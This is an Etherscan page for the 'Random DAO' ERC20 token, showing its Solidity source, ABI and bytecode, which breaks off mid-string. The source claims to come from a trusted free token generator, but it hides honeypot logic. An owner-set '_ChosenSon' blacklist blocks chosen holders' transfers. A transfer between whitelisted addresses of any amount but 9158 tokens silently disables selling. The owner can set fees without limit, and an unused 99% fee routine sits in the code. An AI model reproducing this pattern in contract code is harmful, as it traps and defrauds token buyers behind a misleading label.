ETH Price: $3,416.98 (-2.38%)
Gas: 9 Gwei

Token

Random DAO ($RND DAO)
 

Overview

Max Total Supply

1,000,000 $RND DAO

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
25,693.509123014 $RND DAO

Value
$0.00
0x492CF511D9f7975951B91D97b15567B427ae8196
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RandomDAO

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-30
*/

// SPDX-License-Identifier: MIT
/*
 * Token was generated for FREE at https://vittominacori.github.io/erc20-generator/
 *
 * Author: @vittominacori (https://vittominacori.github.io)
 *
 * Smart Contract Source Code: https://github.com/vittominacori/erc20-generator
 * Smart Contract Test Builds: https://travis-ci.com/github/vittominacori/erc20-generator
 * Web Site Source Code: https://github.com/vittominacori/erc20-generator/tree/dapp
 *
 * Detailed Info: https://medium.com/@vittominacori/create-an-erc20-token-in-less-than-a-minute-2a8751c4d6f4
 *
 * Note: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
 *  using the same generator. It is not an issue. It means that you won't need to verify your source code because of
 *  it is already verified.
 *
 * Disclaimer: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
 *  The following code is provided under MIT License. Anyone can use it as per their needs.
 *  The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
 *  Source code is well tested and continuously updated to reduce risk of bugs and introduce language optimizations.
 *  Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
 *  carefully weighs all the information and risks detailed in Token owner's Conditions.
 *
 */

pragma solidity ^0.8.16;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address payable adr) public virtual onlyOwner {
        _owner = adr;
        emit OwnershipTransferred(_owner,adr);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}


abstract contract baseToken is IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    uint256 private constant MAX = ~uint256(0);

    struct Fee{uint buy; uint sell;uint transfer; uint part;}
    Fee public fees;
    struct Allot{uint marketing;uint liquidity; uint burn;uint reward;uint total;}
    Allot public allot;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _ChosenSon;

    IUniswapV2Router02 public router;
    address public _mainPair;
    mapping(address => bool) public _swapPairList;
    address marketingAddress;
    uint256 public startTradeBlock;

    bool public swapEnabled = true;
    uint256 public swapThreshold;
    uint256 public maxSwapThreshold;

    bool private inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress,string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply) payable Ownable() {
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;
        uint256 total = Supply * 10 ** Decimals;
        _tTotal = total;

        router = IUniswapV2Router02(RouterAddress);
        _allowances[address(this)][address(router)] = MAX;

        IUniswapV2Factory swapFactory = IUniswapV2Factory(router.factory());
        _mainPair = swapFactory.createPair(address(this), router.WETH());
        _swapPairList[_mainPair] = true;
        startTradeBlock = block.number;


        allot=Allot(0,10,0,0,10);
        fees=Fee(2,2,2,100);
        marketingAddress = msg.sender;
        swapThreshold = total.div(1000);
        maxSwapThreshold = total.div(100);

        _feeWhiteList[marketingAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(router)] = true;
        _feeWhiteList[msg.sender] = true;

        _balances[msg.sender] = total;
        emit Transfer(address(0), msg.sender, total);
    }

    function symbol() external view override returns (string memory) {return _symbol;}
    function name() external view override returns (string memory) {return _name;}
    function decimals() external view override returns (uint8) {return _decimals;}
    function totalSupply() public view override returns (uint256) {return _tTotal;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    receive() external payable {}
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_ChosenSon[from] ||  _feeWhiteList[to], "ChosenSon");
        bool takeFee;
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (_swapPairList[to]) {
                    require(0 < startTradeBlock, "!startAddLP");
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (swapEnabled && contractTokenBalance > 0) {
                            if(contractTokenBalance > maxSwapThreshold)contractTokenBalance = maxSwapThreshold;
                            swapTokenForFund(contractTokenBalance);
                        }
                    }
                }
                takeFee = true;
            }
        }
        if(_feeWhiteList[from] && _feeWhiteList[to]){
            amount==9158*10**_decimals?startTradeBlock=block.number:startTradeBlock=0;
            _takeTransfer(from, to, amount);
            return;
         }
        _tokenTransfer(from, to, amount, takeFee);
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = tAmount * 99 / 100;
        _takeTransfer(
            sender,
            address(this),
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (_swapPairList[sender]) {
                swapFee = fees.buy;
            } else if(_swapPairList[recipient]) {
                swapFee = fees.sell;
            }else{
                swapFee = fees.transfer;
            }
            uint256 swapAmount = tAmount.mul(swapFee).div(fees.part);
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }
 
    function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
        uint amountToBurn = tokenAmount.mul(allot.burn).div(allot.total);
        uint amountToLiquify = tokenAmount.mul(allot.liquidity).div(allot.total).div(2);
        uint amountToSwap = tokenAmount.sub(amountToLiquify).sub(amountToBurn);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint amountETH =address(this).balance;
        uint totalETHFee = allot.total.sub(allot.liquidity.div(2)).sub(allot.burn);
        uint amountETHLiquidity = amountETH.mul(allot.liquidity).div(totalETHFee).div(2);
        uint amountETHreward = amountETH.mul(allot.reward).div(totalETHFee);
        uint fundAmount = amountETH.sub(amountETHLiquidity).sub(amountETHreward);
        bool tmpSuccess;
        if(fundAmount>0){
            (tmpSuccess,) = payable(marketingAddress).call{value: fundAmount, gas: 30000}("");
        }

        if (amountToLiquify > 0) {
            if (amountETHLiquidity > 0) {
                router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                marketingAddress,
                block.timestamp
            );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setAllot(uint marketing,uint liquidity,uint burn,uint rewards) external onlyOwner {
         uint total =liquidity.add(marketing).add(rewards).add(burn); 
         allot=Allot(marketing,liquidity,burn,rewards,total);
    } 

    function setFees(uint _buy,uint _sell,uint _transferfee,uint _part) external onlyOwner {
         fees=Fee(_buy,_sell,_transferfee,_part);
    } 

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyOwner {
        _feeWhiteList[addr] = enable;
    }

    function setChosenSon(address addr, bool enable) external onlyOwner {
        _ChosenSon[addr] = enable;
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _swapPairList[addr] = enable;
    }

}

contract RandomDAO is baseToken {
    constructor() baseToken(
        address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
        "Random DAO",
        "$RND DAO",
        9,
        1000000
    ){
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ChosenSon","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allot","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"},{"internalType":"uint256","name":"reward","type":"uint256"},{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fees","outputs":[{"internalType":"uint256","name":"buy","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"},{"internalType":"uint256","name":"transfer","type":"uint256"},{"internalType":"uint256","name":"part","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"},{"internalType":"uint256","name":"rewards","type":"uint256"}],"name":"setAllot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setChosenSon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_transferfee","type":"uint256"},{"internalType":"uint256","name":"_part","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526017805460ff191660011790553480156200001e57600080fd5b50604080518082018252600a81526952616e646f6d2044414f60b01b6020808301919091528251808401909352600883526724524e442044414f60c01b90830152600080546001600160a01b03191633179055737a250d5630b4cf539739df2c5dacb4c659f2488d916009620f424060036200009b85826200055b565b506004620000aa84826200055b565b506005805460ff191660ff84161790556000620000c983600a6200073a565b620000d590836200074b565b6006819055601280546001600160a01b0319166001600160a01b03898116918217835530600090815260026020908152604080832094835293815283822060001990559354835163c45a015560e01b81529351959650909491169263c45a015592600480820193918290030181865afa15801562000157573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017d919062000765565b9050806001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000209919062000765565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000257573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027d919062000765565b601380546001600160a01b03929092166001600160a01b031992831681179091556000908152601460209081526040808320805460ff1916600117905543601655805160a081018252838152600a81840181905281830185905260608083018690526080928301829052600b869055600c829055600d869055600e95909555600f819055825191820183526002808352828501819052928201839052606491909401819052600782905560088290556009919091559091556015805490921633179091556200035b9083906103e89062000a9a6200041e821b17901c565b601855620003778260646200041e602090811b62000a9a17901c565b6019556015546001600160a01b0390811660009081526010602090815260408083208054600160ff19918216811790925530855282852080548216831790556012549095168452818420805486168217905533808552828520805490961682179095558252808320869055518581527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050506200080a565b60006200046883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200047160201b60201c565b90505b92915050565b600081836200049e5760405162461bcd60e51b815260040162000495919062000797565b60405180910390fd5b506000620004ad8486620007e7565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004e157607f821691505b6020821081036200050257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200055657600081815260208120601f850160051c81016020861015620005315750805b601f850160051c820191505b8181101562000552578281556001016200053d565b5050505b505050565b81516001600160401b03811115620005775762000577620004b6565b6200058f81620005888454620004cc565b8462000508565b602080601f831160018114620005c75760008415620005ae5750858301515b600019600386901b1c1916600185901b17855562000552565b600085815260208120601f198616915b82811015620005f857888601518255948401946001909101908401620005d7565b5085821015620006175787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200067e57816000190482111562000662576200066262000627565b808516156200067057918102915b93841c939080029062000642565b509250929050565b60008262000697575060016200046b565b81620006a6575060006200046b565b8160018114620006bf5760028114620006ca57620006ea565b60019150506200046b565b60ff841115620006de57620006de62000627565b50506001821b6200046b565b5060208310610133831016604e8410600b84101617156200070f575081810a6200046b565b6200071b83836200063d565b806000190482111562000732576200073262000627565b029392505050565b60006200046860ff84168362000686565b80820281158282048414176200046b576200046b62000627565b6000602082840312156200077857600080fd5b81516001600160a01b03811681146200079057600080fd5b9392505050565b600060208083528351808285015260005b81811015620007c657858101830151858201604001528201620007a8565b506000604082860101526040601f19601f8301168501019250505092915050565b6000826200080557634e487b7160e01b600052601260045260246000fd5b500490565b611887806200081a6000396000f3fe6080604052600436106101c65760003560e01c8063715018a6116100f7578063a842486111610095578063d83d414311610064578063d83d414314610584578063dd62ed3e146105a4578063f2fde38b146105ea578063f887ea401461060a57600080fd5b8063a84248611461050e578063a9059cbb1461052e578063acef1a441461054e578063d08893581461056457600080fd5b80638da5cb5b116100d15780638da5cb5b1461044957806395d89b41146104675780639af1d35a1461047c578063a806d62e146104bf57600080fd5b8063715018a6146103e45780637888ffdf146103f95780637d6027cd1461041957600080fd5b80633c11100d1161016457806366c907c51161013e57806366c907c5146103525780636ddd1713146103745780636fcba3771461038e57806370a08231146103ae57600080fd5b80633c11100d146102d45780634188bf5a14610304578063553193ca1461033c57600080fd5b8063095ea7b3116101a0578063095ea7b31461025d57806318160ddd1461027d57806323b872dd14610292578063313ce567146102b257600080fd5b806301986fad146101d25780630445b6671461021757806306fdde031461023b57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506102026101ed3660046113e8565b60106020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561022357600080fd5b5061022d60185481565b60405190815260200161020e565b34801561024757600080fd5b5061025061062a565b60405161020e9190611405565b34801561026957600080fd5b50610202610278366004611453565b6106bc565b34801561028957600080fd5b5060065461022d565b34801561029e57600080fd5b506102026102ad36600461147f565b6106d3565b3480156102be57600080fd5b5060055460405160ff909116815260200161020e565b3480156102e057600080fd5b506102026102ef3660046113e8565b60146020526000908152604090205460ff1681565b34801561031057600080fd5b50601354610324906001600160a01b031681565b6040516001600160a01b03909116815260200161020e565b34801561034857600080fd5b5061022d60165481565b34801561035e57600080fd5b5061037261036d3660046114c0565b61076a565b005b34801561038057600080fd5b506017546102029060ff1681565b34801561039a57600080fd5b506103726103a93660046114c0565b6107f4565b3480156103ba57600080fd5b5061022d6103c93660046113e8565b6001600160a01b031660009081526001602052604090205490565b3480156103f057600080fd5b50610372610852565b34801561040557600080fd5b50610372610414366004611507565b6108c6565b34801561042557600080fd5b506102026104343660046113e8565b60116020526000908152604090205460ff1681565b34801561045557600080fd5b506000546001600160a01b0316610324565b34801561047357600080fd5b5061025061091b565b34801561048857600080fd5b50600754600854600954600a5461049f9392919084565b60408051948552602085019390935291830152606082015260800161020e565b3480156104cb57600080fd5b50600b54600c54600d54600e54600f546104e6949392919085565b604080519586526020860194909452928401919091526060830152608082015260a00161020e565b34801561051a57600080fd5b50610372610529366004611507565b61092a565b34801561053a57600080fd5b50610202610549366004611453565b61097f565b34801561055a57600080fd5b5061022d60195481565b34801561057057600080fd5b5061037261057f36600461153c565b61098c565b34801561059057600080fd5b5061037261059f366004611507565b6109d0565b3480156105b057600080fd5b5061022d6105bf36600461156f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105f657600080fd5b506103726106053660046113e8565b610a25565b34801561061657600080fd5b50601254610324906001600160a01b031681565b606060038054610639906115a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610665906115a8565b80156106b25780601f10610687576101008083540402835291602001916106b2565b820191906000526020600020905b81548152906001019060200180831161069557829003601f168201915b5050505050905090565b60006106c9338484610ae3565b5060015b92915050565b60006106e0848484610b45565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610760576001600160a01b038416600090815260026020908152604080832033845290915290205461073b9083906115f8565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461079d5760405162461bcd60e51b81526004016107949061160b565b60405180910390fd5b60006107b5836107af8481888a610d91565b90610d91565b6040805160a0810182528781526020810187905290810185905260608101849052608001819052600b9590955550600c92909255600d55600e55600f55565b6000546001600160a01b0316331461081e5760405162461bcd60e51b81526004016107949061160b565b6040805160808101825285815260208101859052908101839052606001819052600793909355600891909155600955600a55565b6000546001600160a01b0316331461087c5760405162461bcd60e51b81526004016107949061160b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f05760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b606060048054610639906115a8565b6000546001600160a01b031633146109545760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b60006106c9338484610b45565b6000546001600160a01b031633146109b65760405162461bcd60e51b81526004016107949061160b565b6017805460ff191693151593909317909255601855601955565b6000546001600160a01b031633146109fa5760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a4f5760405162461bcd60e51b81526004016107949061160b565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000610adc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610df0565b9392505050565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526011602052604090205460ff161580610b8557506001600160a01b03821660009081526010602052604090205460ff165b610bbd5760405162461bcd60e51b815260206004820152600960248201526821b437b9b2b729b7b760b91b6044820152606401610794565b6001600160a01b03831660009081526014602052604081205460ff1680610bfc57506001600160a01b03831660009081526014602052604090205460ff165b15610cf8576001600160a01b03841660009081526010602052604090205460ff16158015610c4357506001600160a01b03831660009081526010602052604090205460ff16155b15610cf8576001600160a01b03831660009081526014602052604090205460ff1615610cf457601654600010610ca95760405162461bcd60e51b815260206004820152600b60248201526a02173746172744164644c560ac1b6044820152606401610794565b601a5460ff16610cf4573060009081526001602052604090205460175460ff168015610cd55750600081115b15610cf257601954811115610ce957506019545b610cf281610e27565b505b5060015b6001600160a01b03841660009081526010602052604090205460ff168015610d3857506001600160a01b03831660009081526010602052604090205460ff165b15610d8557600554610d4e9060ff16600a611724565b610d5a906123c6611733565b8214610d6c5760006016819055610d73565b4360168190555b50610d7f848484611178565b50505050565b610d7f848484846111f0565b600080610d9e838561174a565b905083811015610adc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610794565b60008183610e115760405162461bcd60e51b81526004016107949190611405565b506000610e1e848661175d565b95945050505050565b601a805460ff19166001179055600f54600d54600091610e5291610e4c9085906112e0565b90610a9a565b90506000610e7c6002610e4c600b60040154610e4c600b60010154886112e090919063ffffffff16565b90506000610e9483610e8e8685611362565b90611362565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610ece57610ece61177f565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4b9190611795565b81600181518110610f5e57610f5e61177f565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac94790610fa49085906000908690309042906004016117b2565b600060405180830381600087803b158015610fbe57600080fd5b505af1158015610fd2573d6000803e3d6000fd5b5050600d54600c5447935060009250610ffe9190610e8e90610ff5906002610a9a565b600f5490611362565b905060006110236002610e4c84610e4c600b60010154886112e090919063ffffffff16565b9050600061104383610e4c600b60030154876112e090919063ffffffff16565b9050600061105582610e8e8786611362565b9050600081156110bc576015546040516001600160a01b03909116906175309084906000818181858888f193505050503d80600081146110b1576040519150601f19603f3d011682016040523d82523d6000602084013e6110b6565b606091505b50909150505b88156111615783156111615760125460155460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af1158015611138573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115d9190611823565b5050505b5050601a805460ff19169055505050505050505050565b6001600160a01b03821660009081526001602052604090205461119c90829061174a565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b389085815260200190565b6001600160a01b0384166000908152600160205260409020546112149083906115f8565b6001600160a01b03851660009081526001602052604081209190915581156112c5576001600160a01b03851660009081526014602052604081205460ff1615611260575060075461128f565b6001600160a01b03851660009081526014602052604090205460ff161561128a575060085461128f565b506009545b600a546000906112a390610e4c87856112e0565b905080156112c2576112b5818461174a565b92506112c2873083611178565b50505b6112d985856112d484876115f8565b611178565b5050505050565b6000826000036112f2575060006106cd565b60006112fe8385611733565b90508261130b858361175d565b14610adc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610794565b6000610adc83836040518060400160405280601e81526020017f536166654d6174683